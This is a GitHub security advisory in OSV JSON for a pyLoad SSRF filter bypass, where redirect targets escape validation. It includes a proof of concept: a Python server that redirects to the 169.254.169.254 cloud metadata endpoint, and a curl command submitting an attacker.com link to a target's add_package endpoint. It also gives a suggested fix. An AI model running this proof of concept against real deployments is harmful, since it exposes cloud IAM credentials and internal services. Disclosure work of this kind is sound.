CVE-2026-35459: pyLoad SSRF Filter Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7gvf-3w72-p2pg",
  "modified" : "2026-04-06T23:44:01Z",
  "published" : "2026-04-04T06:41:08Z",
  "aliases" : [ "CVE-2026-35459" ],
  "summary" : "pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)",
  "details" : "## Summary\n\nThe fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.\n\nAn authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.\n\n## Root Cause\n\nThe SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:\n\n    dl_hostname = urllib.parse.urlparse(dl_url).hostname\n    if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):\n        self.fail(...)\n    else:\n        for ip in host_to_ip(dl_hostname):\n            if not is_global_address(ip):\n                self.fail(...)\n\nAfter the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:\n\n    self.c.setopt(pycurl.FOLLOWLOCATION, 1)\n    self.c.setopt(pycurl.MAXREDIRS, 10)\n\nNo `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.\n\n## PoC\n\nRedirect server (attacker-controlled):\n\n    from http.server import HTTPServer, BaseHTTPRequestHandler\n\n    class RedirectHandler(BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(302)\n            self.send_header(\"Location\", \"http://169.254.169.254/metadata/v1.json\")\n            self.end_headers()\n\n    HTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n\nSubmit to pyload (requires ADD permission):\n\n    curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \\\n      -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'\n\nThe SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.\n\n## Impact\n\nAn authenticated user with ADD permission can access:\n\n- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity\n- Internal network services (10.x, 172.16.x, 192.168.x)\n- Localhost services (127.0.0.1)\n\nThis is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.\n\n## Suggested Fix\n\nDisable automatic redirect following and validate each redirect target:\n\n    # In HTTPRequest.__init__():\n    self.c.setopt(pycurl.FOLLOWLOCATION, 0)\n\nThen implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:\n\n    self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)\n\nAnd add a pycurl callback to validate redirect destination IPs before following.\n\n## Resources\n\n- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.5.0b3.dev96"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33992"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35459"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/commit/33c55da084320430edfd941b60e3da0eb1be9443"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-04T06:41:08Z",
    "nvd_published_at" : "2026-04-06T20:16:28Z"
  }
}